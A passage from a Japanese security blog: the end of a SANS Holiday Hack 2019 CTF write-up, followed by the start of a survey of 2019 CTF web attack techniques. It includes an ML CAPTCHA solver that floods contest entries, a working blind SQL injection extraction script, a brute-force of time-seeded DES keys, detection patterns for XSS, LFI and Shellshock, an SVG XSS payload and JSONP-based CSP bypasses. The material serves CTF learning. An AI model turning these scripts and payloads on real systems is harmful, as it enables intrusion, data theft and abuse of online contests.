ho76Vdx5RyDRQ3L643091CC8yDJyJ62E+4quzFMtmt5Q2OhVUhkhsRSywMdByB39yu7/eyvLCot3pCjNQv9iz+5wgS7MXdydy9XNC1ax0WX54YXd8itxjFLS5t4bbc9Kz6R6r/8SJZuy6ftw9BRW39tnUUVSQSVyOOaxaFvp8JUzs2rOnLHrfdUj86kCADl5q7TmwQ7tgrmau/WdYLXtMDNfsEB71q/TywOeA0a2wNWCXa3ssCwNe65mB1ukzW0I9HVSzN4HUuYfhV/1wl0HNf3crn7Cxdd3eqStgpoCLKYO65V4aVlkH2qZDkmcb1FDBnafGRD8a4GNxITg45MCAOEmnHM1COtZ3obkd3dcNOyS/+J32GpUxO55rqllwlkDjLHvSJybZbr/W2uJ7Q8sfDB919eOOXyzLEl17hAwy2rxusuy14HA2MhGFUwKovQhl1cbm3VVQjN7O7w63XP0/t4DIbR6mRocAGoxAn6htkSmMphpivkKv/thB9WZft3yml9cj5XbggmVwo82WC6Jt9Dcnd+sDkwkucpk7WhxCXWrNLE2bp2NYTgjWAh1rhSz/oOZm5J397M3gJa234zliKN5dYXm0tDaZ1MKqd8zQm3ve+9l7eOaOtjnKJS5o6vdGor1dSsZtC2anxsTanvsrelBtlb5F1VFEMofaAKoRlr8cv2tdTApgtm2PJrT2B1ZyfNBCed6r0unQw6jmtz5Rsi7XVYhqV1QN9z1mbrOv1WR/l6J5OFvBnXHHK5EveaIHGM06kONvza0HwRglNNU3kBC2EZ+eAtGpANfa6+IOqthI1bH3o8fHOG2jqzyOGWmfJPnUx+evZ7Lh+L7RCtAwrw9nd8czFz8ve58sPcJSvdpbmMpDmfhF7m4txu7iINKFJv+4sx09J0wyAmCxYsWfDgt81SPDVrMuhYqQyy6/TzzXdlGmvP3HFZ7uSr0vJg2LCMBaAA++6dfSdXPtNx/KLTjGAmaxCJbjj1rbwPlN7HHWcImUarrYehQwOmNUA0pYsNJvni38NaSLNnRpFmFrce+azBzDPoZHJnpvKpTiY3bXrn5rHZ/Ds2gJ562qWmTj+bqXy542Sh4wQRBYnTAVkaAMtcnI2twa28p+89ZeUJYbANrXabdblT5zjNrFJy61nN36aOSb1RqZ7gr38717ilsBuPfqb8jRP+ywcbGzBhjAAFeNuZ39zqVD6RO77RzaQSFQoftxN1s2ileeo/1gV+5qTZEylpqq/OSI10fwWiux5OQetMtzHQoQl5SCC6+Bsdpw2YvUzJVb6oKn9r8MDbN21uPbMdltbLll3FKT8C+Zhhq2ZyOW6+MFcFmM6jtUjD7Sa+V+PYSBhKjCoZMEwSt9IDNINktaUKMjQSKunOnUZGBK/eK9NxQjePz3UclziVC2Yyd/MZb7+s5Xb27jJWFgrwljM3exGu6Dr5yNopvn3gGqlmukJAmhjWzYRero0rzBx0nJI5xTkd2u4wGI5WGczrxul3aT4fQYs8sgC9NGtbx/BuDr1M6Dq+5lT+spfL9yoLYwcmjMkO7l3lq5dsCS8/+dAtmZOfZ8qBmfC4vidbqiIVN5UnAn8X4Exq4G0okZEGzDpuuhQ3Ne2jcSJ08oH1rupq6qoYvVxY3dPQyeRfnMpfdjO+4w3/ljM3t71Me5SxBBQiqKf/zmFb7t5pP36gz6yI7B9MZoLViczATWaunoyPDbXa8lwCMtNBcHQpAcpdzc1KY5FViDu0qwA7C083U2an9IFerp/KnXy8l8t1VSC8bdN4ggljDCjAF7+8xfZ6wr535Xl21V7T0p+dkn1XdWS2CpYtVUK/ikB1sug2M1fvSosA1YkTxDmknoNuLDma+DiVx4Sr741+FTdJTWXCXtOOvabddVO5frTj5GIRtqjI2FpmLb/KKM6vVeyaE92nrln6raLijMXKNm6bt/0e6FteBphONJxLJcdcIWlSL/Y5VaDnBmSFD7Dka8433sRqvh9pwzU9ZTrXrWt6+sXVPfnMVK7Xld4W3rZp81jGzF1lxQBay8V/tXG2X/Gy0tupVeDY0ts+ZaDbL9EyxF1sc0XaXZ3c76o8tsAgEgmLZaBfGb1MWN1VVveiu66C3dav7JKl0r6894z77ouOnr7nx3cU9qa3fbPt037YsuIABfjcxS+QEFg1X9rzfOCkYHbcYsERi5XNzBfk84VpSC1VM5jJYToTXJqyj62zSFRMZ7K1l3Odilzqzb6xdc7fePnPFu4/aNaFoqzsCxdd3/bpPiJZkYAOyycv2pjvWGLv23aEp2I8be2UHL26y6GZsk8wVi0UdHf0TTFsTVeq1V3ZqsrtBjcC31f4gVO2ADuefkB38Yf3FPb7b185FrmrrHhAdxWzU+Vzn7xn9VzJWow1QG9nH3fLdu/FKI/Yy22b6rADo8gUn2X4oow0/JvHPOF5ODJxgO5JrPxd5GU3yylHZXzpg/vZxf/8AAL8wQq2xMfkUSL/C2r0iHsSWD57AAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTAyVDA4OjE1OjAxLTA3OjAwpogU0wAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0wMlQwODoxNTowMS0wNzowMNfVrG8AAAAadEVYdGV4aWY6Qml0c1BlclNhbXBsZQA4LCA4LCA4Eu0+JwAAACF0RVh0ZXhpZjpEYXRlVGltZQAyMDE5OjEwOjAxIDE2OjM4OjA2pSq/pAAAABR0RVh0ZXhpZjpJbWFnZUxlbmd0aAA2MDB41j+AAAAAE3RFWHRleGlmOkltYWdlV2lkdGgANjAwq6ovDQAAABp0RVh0ZXhpZjpTb2Z0d2FyZQBHSU1QIDIuMTAuMTLDM7QtAAAAG3RFWHRpY2M6Y29weXJpZ2h0AFB1YmxpYyBEb21haW62kTFbAAAAInRFWHRpY2M6ZGVzY3JpcHRpb24AR0lNUCBidWlsdC1pbiBzUkdCTGdBEwAAABV0RVh0aWNjOm1hbnVmYWN0dXJlcgBHSU1QTJ6QygAAAA50RVh0aWNjOm1vZGVsAHNSR0JbYElDAAAAAElFTkSuQmCC', 'uuid': 'b177d2d0-e584-11e9-97c1-309c23aaf0ac'} # warmup predict_image(queue.Queue(), dummy_img, [], sess, graph, labels, input_operation, output_operation) # Creating a session to handle cookies s = requests.Session() url = "https://fridosleigh.com/" json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text) b64_images = json_resp['images'] # A list of dictionaries eaching containing the keys 'base64' and 'uuid' challenge_image_type = json_resp['select_type'].split(',') # The Image types the CAPTEHA Challenge is looking for. challenge_image_types = [challenge_image_type[0].strip(), challenge_image_type[1].strip(), challenge_image_type[2].replace(' and ','').strip()] # cleaning and formatting # Can use queues and threading to spead up the processing q = queue.Queue() #Going to interate over each of our images. for img in b64_images: # We don't want to process too many images at once. 10 threads max while len(threading.enumerate()) > 10: time.sleep(0.0001) threading.Thread(target=predict_image, args=(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation)).start() print('Waiting For Threads to Finish...') while threading.active_count() > 1: #print(threading.active_count()) time.sleep(0.0001) # This should be JUST a csv list image uuids ML predicted to match the challenge_image_type . select_images = [q.get() for x in range(q.qsize())] final_answer = ','.join( [ img['uuid'] for img in select_images ] ) json_resp = json.loads(s.post("{}api/capteha/submit".format(url), data={'answer':final_answer}).text) if not json_resp['request']: # If it fails just run again. ML might get one wrong occasionally print('FAILED MACHINE LEARNING GUESS') print('--------------------\nOur ML Guess:\n--------------------\n{}'.format(final_answer)) print('--------------------\nServer Response:\n--------------------\n{}'.format(json_resp['data'])) sys.exit(1) print('CAPTEHA Solved!') # If we get to here, we are successful and can submit a bunch of entries till we win userinfo = { 'name':'Krampus Hollyfeld', 'email':yourREALemailAddress, 'age':180, 'about':"Cause they're so flippin yummy!", 'favorites':'thickmints' } # If we win the once-per minute drawing, it will tell us we were emailed. # Should be no more than 200 times before we win. If more, somethings wrong. entry_response = '' entry_count = 1 while yourREALemailAddress not in entry_response and entry_count < 200: print('Submitting lots of entries until we win the contest! Entry #{}'.format(entry_count)) entry_response = s.post("{}api/entry".format(url), data=userinfo).text entry_count += 1 print(entry_response) if __name__ == "__main__": main()
初回の判定で時間がかかるため、CAPTCHA画像の取得前に、#warmup処理を入れた。
また、CPU実行では5秒以内にクリアできなかったため、GPU実行するためにtensorflow_gpuとCUDAを使用した。パラメータやプログラムをチューニングすればCPU実行でもクリアできたかもしれないが、力で押してしまった。
(venv) D:\Develop\CTF\Contest\SANS2019>python capteha_api.py WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.set_verbosity is deprecated. Please use tf.compat.v1.logging.set_verbosity instead. WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.ERROR is deprecated. Please use tf.compat.v1.logging.ERROR instead. bc4876c3-e584-11e9-97c1-309c23aaf0ac Ornaments c8534506-e584-11e9-97c1-309c23aaf0ac Stockings db4d2d18-e584-11e9-97c1-309c23aaf0ac Ornaments efe57aca-e584-11e9-97c1-309c23aaf0ac Ornaments 28d30603-e585-11e9-97c1-309c23aaf0ac Stockings 3b8d0ffd-e585-11e9-97c1-309c23aaf0ac Christmas Trees 4239c700-e585-11e9-97c1-309c23aaf0ac Stockings 6b6c4b1f-e585-11e9-97c1-309c23aaf0ac Stockings 7b0948d3-e585-11e9-97c1-309c23aaf0ac Ornaments a73111a4-e585-11e9-97c1-309c23aaf0ac Christmas Trees 77038979-e586-11e9-97c1-309c23aaf0ac Ornaments 7ae2ec20-e586-11e9-97c1-309c23aaf0ac Christmas Trees b53a83cc-e586-11e9-97c1-309c23aaf0ac Ornaments c0b9ab01-e586-11e9-97c1-309c23aaf0ac Christmas Trees a20bf50e-e586-11e9-97c1-309c23aaf0ac Christmas Trees 27d6c159-e587-11e9-97c1-309c23aaf0ac Christmas Trees 29347cd2-e587-11e9-97c1-309c23aaf0ac Christmas Trees 294e44c4-e587-11e9-97c1-309c23aaf0ac Stockings 91dfe747-e587-11e9-97c1-309c23aaf0ac Stockings Waiting For Threads to Finish... 48ef0285-e588-11e9-97c1-309c23aaf0ac Stockings CAPTEHA Solved! Submitting lots of entries until we win the contest! Entry #1 Submitting lots of entries until we win the contest! Entry #2 (snip) Submitting lots of entries until we win the contest! Entry #101 Submitting lots of entries until we win the contest! Entry #102 {"data":"<h2 id=\"result_header\"> Entries for email address <mailaddress> no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2>","request":true}
クリアするとEメールを受信した。
answer: 8Ia8LiZEwvyZr2WO
9) Retrieve Scraps of Paper from Server
Error-Based Blind SQL Injectionを使用してサイト上からレコードを窃取し、得られたURLのパスから画像ファイルを集めた。
テーブル名、カラム名を特定してからレコードを取得する。プログラムは以下のとおり。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import time URL = 'https://studentportal.elfu.org/application-check.php' URL_V = "https://studentportal.elfu.org/validator.php" target = "" def challenge(offset, guess): threshold = 1 req = requests.get( URL_V ) token = req.text start = time.time() req = requests.get( URL, params={ #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold), #[+] target: applications,krampus,students #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='krampus'), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold), #[+] target: id,path "elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(path) from krampus), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold), #[+] target: /krampus/0f5f510e.png,/krampus/1cc7e121.png,/krampus/439f15e6.png,/krampus/667d6896.png,/krampus/adb798ca.png,/krampus/ba417715.png "token": token } ) elapsed_time = time.time() - start if "Error" in req.text: return True else: return False def binarySearch(offset): low = 0 high = 256 while low <= high: guess = (low + high) // 2 is_target_lessthan_guess = challenge(offset, guess) if is_target_lessthan_guess: high = guess else: low = guess if high == 1: return -1 elif high - low == 1: return low while True: code = binarySearch(len(target)) if code == -1: break target += chr(code) print("[+] target: " + target) print("[+] target: " + target)
answer: Super Sled-o-matic
10) Recover Cleartext Document
暗号化ツールで暗号化されたファイルを復号する問題。
まずは暗号化ツールの仕様と挙動を確認する。
--insecure
オプションでHTTP通信にしてWireSharkで観察しながら実行すると、
キーをローカルで生成してから、サーバに送信し、サーバ側でsecret id
を払い出していることがわかる。
(venv) D:\Develop\CTF\Contest\SANS2019\q10>elfscrow.exe --insecure --encrypt test.txt test.txt.enc Welcome to ElfScrow V1.01, the only encryption trusted by Santa! *** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark Our miniature elves are putting together random bits for your secret key! Seed = 1577829922 Generated an encryption key: 0a875607c97060d3 (length: 8) Elfscrowing your key... Elfscrowing the key to: elfscrow.elfu.org/api/store Your secret id is 65d62b04-b20b-4a36-9328-c9ea5625a547 - Santa Says, don't share that key with anybody! File successfully encrypted! ++=====================++ || || || ELF-SCROW || || || || || || || || O || || | || || | (O)- || || | || || | || || || || || || || || || || || ++=====================++
復号の際には、secret id
をサーバに送信して、サーバに保存されているキーを取得して復号しているようだ。
(venv) D:\Develop\CTF\Contest\SANS2019\q8>elfscrow.exe --insecure --decrypt --id=65d62b04-b20b-4a36-9328-c9ea5625a547 test.txt.enc test.txt.dec Welcome to ElfScrow V1.01, the only encryption trusted by Santa! *** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark Let's see if we can find your key... Retrieving the key from: /api/retrieve We found your key! File successfully decrypted! +----------------------+ |\ /\ | \ ________________ / |\ | | | | \ | | +------------+ | | \ | | |\ /| | | \ | | | \ / | | | \ | | | \ / | | | \ | | | \ / | | | | | | | \ / | | | | | | | \/ | | | | | | | | | | | | | | | | | | | |_| SECRET |_| | | | / +------------+ \ | | |/ \| | +----------------------\ | \ | \ | \ | \ | \| |
ターゲットとなるファイルを復号するキーを得るためのsecret id
をサーバから取得するのは厳しそうである。
暗号化を実行した際のSeed = 1577829922
の出力に注目する。これは明らかにUnixtimeであり、キーの生成にあたりUnixtimeを使用していることを示唆している。また、問題のヒントとしてWe know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
という情報が与えられている。
つまり、キーの生成処理を解析し、何らかのSeed値として使用されているUnixtimeについては2時間の範囲を総当たりすれば、キーを特定できると推測できる。
Ghidraでデコンパイルして、キーの生成処理を確認する。
推測通り、現在時間のUnixtimeを元にキーを生成している。乱数は使用しておらず、Unixtimeの値をそのまま使用して計算およびbit演算をしている。
このキー生成ロジックをPythonに移植した上で、2時間の範囲を総当たりするプログラムを作る。暗号化方式はDES_CBCで、ivは無指定であったので0x00で埋めた。
復号結果のファイルはPDFであることがわかっているため、PDFファイルのマジックナンバーである%PDF
が含まれているかどうかをチェックした。
from datetime import datetime, timezone from Crypto.Cipher import DES ENCRYPT_FILE_PATH = 'ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc' DECRYPT_DIR_PATH = './output/' #int __cdecl super_secure_random(void) #{ # DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3; # return DAT_0040602c >> 0x10 & 0x7fff; #} DAT_0040602c = 0 def super_secure_random(): global DAT_0040602c DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3 return DAT_0040602c >> 0x10 & 0x7fff # i = 0; # while (i < 8) { # iVar2 = super_secure_random(); # buffer[i] = (uchar)iVar2; # i = i + 1; # } def genKey(seed): global DAT_0040602c DAT_0040602c = seed key = bytearray() for i in range(8): iVar2 = super_secure_random() key.append((iVar2 & 0x000000ff)) return bytes(key) unpad = lambda s : s[0:-s[-1]] def decrypt(encrypt_data, key): #print(encrypt_data[:DES.block_size]) #cipher = DES.new(key, DES.MODE_CBC, encrypt_data[:DES.block_size]) cipher = DES.new(key, DES.MODE_CBC, "\x00\x00\x00\x00\x00\x00\x00\x00") try: return unpad(cipher.decrypt(encrypt_data)) except KeyboardInterrupt: raise except: pass def main(): with open(ENCRYPT_FILE_PATH, "rb") as encrypt_file: encrypt_data = encrypt_file.read() # We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC. from_time = int(datetime(2019,12,6,19,tzinfo=timezone.utc).timestamp()) to_time = int(datetime(2019,12,6,21,tzinfo=timezone.utc).timestamp()) for seed in range(from_time, to_time): key = genKey(seed) decrypt_data = decrypt(encrypt_data, key) if decrypt_data is not None and b"%PDF" in decrypt_data: with open(DECRYPT_DIR_PATH + str(seed) + ".pdf", 'wb') as decrypt_file: print("[+] decrypt: " + DECRYPT_DIR_PATH + str(seed) + ".pdf") decrypt_file.write(decrypt_data) if __name__ == "__main__": main()
実行すると3つのファイルが生成され、うち1つのファイルを正しくArobat Readerで表示することができた。
answer: Machine Learning Sleigh Route Finder
11) Open the Sleigh Shop Door
Web画面の中から鍵を開くためのコードを集める問題。鍵は全部で10個。 ヒントにしたがって、Web画面のJavaScript/DOM/CSSの属性や値を表示したり操作したりすると、コードが得られる。
大半のコードは表示するたびに値が変わるため、やり直すときには再度最初から確認していく必要がある。 JavaScriptでコードを生成しているようだが、難読化されているため、それを読み解くよりは正攻法で解く方が早そうだ。
1
開発者コンソールにそのまま表示されている。
2
CSSのmedia typeが印刷用の場合にのみ表示されるため、印刷プレビュー画面から確認する。
3
ネットワークキャプチャを確認すると、定期的に以下のURLにアクセスしている。
https://crate.elfu.org/images/a5097628-75cd-48d4-90c1-c43abdba7991.png
4
ローカルストレージに格納されている。
5
document.titleの後ろの方にセットされているため、コンソールでdocument.title
を実行して確認する。
6
ホログラムのカードに適用されているスタイルのperspectiveの値を巨大にすると表示される。
7
問題文のフォント名を確認する。
8
問題文でハイライトされているeggs
のイベントリスナーを確認する。
9
問題文の中でspanタグでclassがchakraとなっている部分の状態を強制的にactiveにすると表示される。
Triggering of pseudo classes | Web | Google Developers
10
鍵の装置のカバー画像のdiv要素をdrag & dropで移動すると、基盤がむき出しになる。
基盤の右下にコードが書いてあるが、それをそのまま入力しても、コンソールでエラーメッセージが表示される。
Error: Missing macaroni!
ソースコード内をmacaroniで検索すると、classがcomponent macaroniのdiv要素を発見する。 drag&dropで鍵の装置のdiv要素の子に移動し、再度コードを入力すると、次のエラーメッセージが表示される。 同じ要領で、swab、gnomeも移動する。
10個の鍵を開けると答えが表示された。
answer: The Tooth Fairy
高速化
クリアはできたものの、画面を表示してからクリアするまでの時間が計測されているようで、3分以内を目指すようメッセージが表示された。 10個の鍵のうち、簡単にJavaScriptでコード値を設定可能な部分だけ対応して半自動化し、3分を切ってみた。
// 4 document.getElementsByTagName("input")[3].value = localStorage.getItem("🛢️🛢️🛢️") // 5 document.getElementsByTagName("input")[4].value = document.title.substr(-8) // 8 document.getElementsByTagName("input")[7].value = "VERONICA" // 10 document.getElementsByTagName("input")[9].value = "KD29XJ37" document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component macaroni")[0]) document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component swab")[0]) document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component gnome")[0]) document.getElementsByClassName("locks")[0].appendChild(document.getElementsByClassName("cover")[0])
ただ、次は5秒以内を目指せとメッセージが表示された。諦めた。
12) Filter Out Poisoned Sources of Weather Data
JSON形式のWebサーバのアクセスログを分析し、不正なデータをリクエストしてくるIPアドレスを管理画面からブラックリストに登録する問題。
ただ、管理画面へログインするクレデンシャル情報もない状態からスタート。
Step1. ログイン
ステータスコードが200のログを抽出し、有効なURLをリストアップする。
root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat http.log | jq '(.[] | select (.status_code==200)) | .uri' | sed 's/"//g' | sed 's/\?.*//' | sort | uniq > status_200.txt root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat status_200.txt / /alert.html /apidocs.pdf /api/firewall /api/login /api/measurements /api/stations /api/weather /css/alt.css /css/freelancer.min.css /css/main.css /css/weathermap.css /home.html /img/badweather.png /img/goodweather.png /img/logo_zoomed2.PNG /index.html /js/CustomEase.js /js/freelancer.min.js /js/ipaddr.js /js/library-g.js /js/Morph.js /js/weathermap.js /logout /map.html /README.md /santa.html /vendor/bootstrap/js/bootstrap.bundle.min.js /vendor/fontawesome-free/css/all.min.css /vendor/fontawesome-free/webfonts/fa-solid-900.woff2 /vendor/jquery-easing/jquery.easing.min.js /vendor/jquery/jquery.min.js
README.mdが怪しい。
root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# curl https://srf.elfu.org/README.md # Sled-O-Matic - Sleigh Route Finder Web API ### Installation ``` sudo apt install python3-pip sudo python3 -m pip install -r requirements.txt ``` #### Running: `python3 ./srfweb.py` #### Logging in: You can login using the default admin pass: `admin 924158F9522B3744F5FCD4D10FAC4356` However, it's recommended to change this in the sqlite db to something custom.
デフォルトのクレデンシャル情報を入手できた。入力するとログインに成功した。
Step2. ブラックリスト作成
エルフの情報から、攻撃パターンはXSS、SQLi、LFI、ShellShockの4種類であることがわかる。
ログを眺めると、確かにそれっぽい攻撃データが散見される。 host、uri、user_agent、usernameにセットされているようなので、それらに攻撃データをセットしているIPアドレスをブラックリストにいれる。
ただ、それだけでは足りなかった。 エルフの情報から、更に横展開して確認するようヒントがあったため、攻撃データをセットしているログのuser_agentと、同じuser_agentを使用しているログのIPアドレスもブラックリストに追加する。それだけでは誤検知してしまうため、件数で閾値を設ける。
jqコマンドでやるのは辛いので、pythonで書く。
import json def main(): f = open("http.log", "r") logs = json.load(f) blacklist_ip = [] blacklist_ua = [] for record in logs: for column in ["host","uri","user_agent","username"]: for check in ["<script>","' ","./","/etc/passwd", "/bin/", ":;"]: if check in record[column]: blacklist_ip.append(record["id.orig_h"]) blacklist_ua.append(record["user_agent"]) blacklist_ip = list(set(blacklist_ip)) blacklist_ua = list(set(blacklist_ua)) print("[+] blacklist_ip size: " + str(len(blacklist_ip))) blacklist_ua_counts = {} for record in logs: for ua in blacklist_ua: if ua == record["user_agent"]: blacklist_ua_counts[ua] = blacklist_ua_counts[ua] + 1 if ua in blacklist_ua_counts else 1 threshold = 2 print(blacklist_ua_counts) for k, v in blacklist_ua_counts.items(): if v > threshold: blacklist_ua.remove(k) for record in logs: for ua in blacklist_ua: if ua == record["user_agent"]: blacklist_ip.append(record["id.orig_h"]) blacklist_ip = list(set(blacklist_ip)) print("[+] blacklist_ip size: " + str(len(blacklist_ip))) for ip in blacklist_ip: print(ip+",", end="") if __name__=='__main__': main()
得られたIPアドレスリストをブラックリストとして登録すると、答えが得られた。
answer: 0807198508261964
最後の部屋に到達し、キャラクター全員に話しかけるとスタッフロールが流れてクリア。
所感
昨年も感じたが、とにかく問題のバリエーションやテーマが多岐にわたっていて、チャレンジしていてワクワクする問題が多い。さすがSANS。
今年の目玉の問題は、splunkと機械学習だろう。どちらも、触ったことが無い人が初めて触るのにちょうどいい難易度だと思う。 あと、実はGhidraを触るのは今回が初だったりもする。良いきっかけを与えてくれた。
いずれにしても、無料でここまで勉強させてもらえるコンテンツは中々無い。次回も楽しみである。
【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む)
CTF Advent Calendar 2019 - Adventarの25日目の記事です。
1つ前は@ptr-yudai氏の2019年のpwn問を全部解くチャレンジ【後半戦】 - CTFするぞでした。
- はじめに
- Cross-Site Scripting(XSS)
- Cross-Site Request Forgeries(CSRF)
- CSS Injection
- SQL Injection
- Remote Code Execution(RCE)
- open_basedirをバイパスしてディレクトリリスティング
- open_basedirをバイパスしてファイル読み込み
- ImageMagickのdelegate.xmlを使用したdisable_functionのバイパス
- PHP-FPMのUNIXドメインソケットファイルを使用したdisable_functionsのバイパス
- LD_PRELOADを使用したdisable_functionsのバイパス
- MySQL Client Attack
- MySQL Client Attack Chain
- ImageMagickのMagnificent Shell Landing(MSL)を利用したWebShell配置
- timing attackによる情報リーク
- Server-Side Template Injection(SSTI)
- Server-Side Includes (SSI) Injection
- Server-Side Request Forgery(SSRF)
- XML External Entity(XXE)
- Directory Traversal
- Cache Poisoning
- Insecure Deserialization
- Regular expression Denial of Service(ReDoS)
- Side Channel Attack
- polyglot
- 言語仕様系
- 文字入力チェックのバイパス
- Tools
- ユニークな問題
- 最後に
はじめに
昨年に引き続き、今年も2019年のCTFイベントで出題されたWeb問題のwriteupを全部読んで、 新しく知った攻撃手法や特徴的な問題をピックアップして紹介します。
昨年の記事はこちらです。
graneed.hatenablog.com
対象イベント
対象のイベントの条件は以下のとおりです。
- 2019年1月1日~12月24日(本記事の執筆時点)までに開催されたイベントであること。
- Online開催であること。
- Jeopardy形式であること。
- Web問題であること。
昨年はCTFTimeに登録されているwriteupのみを対象にしていましたが、今年はそのほかにも[CTF writeup イベント名 問題名]をキーワードにgoogle検索してwriteupを探しました。
問題数
確認できたWeb問題数は419問、その中でwriteupがあるWeb問題数は372問 (全Web問題数の88.8%)でした。
なお、昨年はSQLiやXSSといった脆弱性タイプの出現数をカウントしてランク付けを行いましたが、労力がかかった割には有益では無かったため、今年は割愛し、その代わりに具体的な攻撃手法の紹介を増やしました。
読み方、使い方
量が膨大ですが、 大まかに攻撃手法ごとに分類していますので、好きなところから読み始めて頂ければと思います。 また、CTFで詰まった時に攻撃の取っ掛かりを探すために参照頂いたり、Webアプリケーションの脆弱性診断やバグバウンティでも活用できる部分があるかと思います。
それぞれ簡単に解説やPoCの結果を記載していますが、writeupのリンクも付けていますので、更に具体的な手法やコードを確認したい場合はそちらを参照ください。
では、さっそく本題にいきます。
Cross-Site Scripting(XSS)
SVGファイルを利用したCSPバイパス
CSPの設定で自ドメインのスクリプトしか実行できないが、画像ファイルのアップロードが可能な場合に、XSSを行う手法です。
SVGファイルはXML形式、つまりHTMLと同じくタグ記法のファイル形式であるため、scriptタグで任意のJavaScriptを埋め込み可能です。
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg ...> <script> alert(1); </script> </svg>
- writeup
- CONFidence CTF 2019 Teaser - Web 50
https://balsn.tw/ctf_writeup/20190317-confidencectf/#solution-1:-xss-in-svg-image - CTFZone 2019 Quals - Shop
https://blog.blackfan.ru/2019/12/ctfzone-2019-shop.html
- CONFidence CTF 2019 Teaser - Web 50
GoogleドメインのJSONPを利用したCSPバイパス
CSPの設定でGoogleのドメインが許可されている場合に、XSSを行う手法です。
Googleドメイン上に、JSONPを返すコンテンツがあるため、それを使用して任意のcallback関数を呼んでもらいます。
root@kali:~# curl https://www.google.com/jsapi?callback=alert if(!window['googleLT_']){window['googleLT_']=(new Date()).getTime();}if (!window['google']) { window['google'] = {}; } (snip) {":1":"1.6.1",":1.1":"1.1.1",":1.2":"1.2.3",":1.3":"1.3.2",":1.4":"1.4.3",":1.5":"1.5.1",":1.6":"1.6.1",":1.7":"1.7.2"}}}); } alert(); root@kali:~# curl "https://accounts.google.com/o/oauth2/revoke?callback=alert()" // API callback alert()({ "error": { "code": 400, "message": "Invalid JSONP callback name: 'alert()'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.", "status": "INVALID_ARGUMENT" } } );
こういうことですね。
- writeup
- INS'hAck 2019 - bypasses-everywhere
https://github.com/InsecurityAsso/inshack-2019/blob/master/bypasses-everywhere/writeup.md - CSAW CTF Qualification Round 2019 - babycsp
https://github.com/jacopotediosi/Writeups/tree/master/CTF/CSAW-Quals-2019/Web/BabyCSP-50
- INS'hAck 2019 - bypasses-everywhere
サブリソース完全性(SRI)機能を利用した入力チェックバイパス
Chrome77から実装された、<link rel="preload">
使用時のサブリソース完全性機能を悪用し、わざとチェックを失敗させることで、
画面ロード時のスクリプトの処理順序を変更させて、入力チェックをバイパスする手法です。
- writeup
- Pwn2Win CTF 2019 - Calc
https://github.com/lbherrera/writeups/tree/master/pwn2win-2019/calc
- Pwn2Win CTF 2019 - Calc
Chrome拡張機能のパスワードマネージャーKeePassの悪用
パスワードマネージャーKeePassが自動で入力補完したクレデンシャル情報を窃取する手法です。 これは問題のアイデアに感心しました。
- writeup
HTML likeコメントを使用したコメントアウト
<
記号と/
記号がフィルタされている場合に、ブラウザの後方互換性向けの仕様であるHTML likeコメントを使用したコメントアウトにより、JavaScriptの構文エラーを発生させない手法です。
https://jsprimer.net/basic/comments/#html-like-comment から例を抜粋させて頂きます。
<!-- この行はコメントと認識される console.log("この行はJavaScriptのコードとして実行される"); --> この行もコメントと認識される
1行目はわかりますが、3行目の>
から先もコメントアウトと認識されるのが意外でした。
仕様は以下のリンク先を参照してください。
https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-HTMLCloseComment
- writeup
- HITCON CTF 2019 Quals - Bounty Pl33z
https://r3kapig.com/writeup/20191018-hitcon-quals/#bounty-pl33z-%5B255pts%5D
- HITCON CTF 2019 Quals - Bounty Pl33z
jQuery.getJSONのJSONP機能を使用したスクリプト実行
URLにcallback=?
を付与すると、jQuery.getJSON
でロードするコンテンツをJSONPとして解釈するという仕様を使い、任意のスクリプトを実行する手法です。
仕様は以下のリンク先を参照してください。
https://api.jquery.com/jQuery.getJSON/
- writeup
- SECCON 2019 Online CTF - SPA
https://blog.nhiroki.net/2019/10/20/seccon-2019-qual-write-up
- SECCON 2019 Online CTF - SPA
DOM Clobberingによるコードハイジャック
DOM Clobberingを利用した手法ですが、まだ解説できるほど理解できていないため、writeupのみの紹介です。
以下のつばめ氏のDOM Clobberingの解説記事および参考資料に目を通して基礎を理解してから読みたいと思います。
https://diary.shift-js.info/dom-clobbering/
- writeup
- Google Capture The Flag 2019 (Quals) - pastetastic
https://github.com/koczkatamas/gctf19/tree/master/pastetastic
- Google Capture The Flag 2019 (Quals) - pastetastic
Service Workerを利用したスクリプト実行
昨年の記事でもService Workerを使用した手法を紹介しましたが、今年も何問か出題されています。 まだ私自身が使いこなせていないため、練習しておいてスッと使えるようになりたいですね。
- writeup
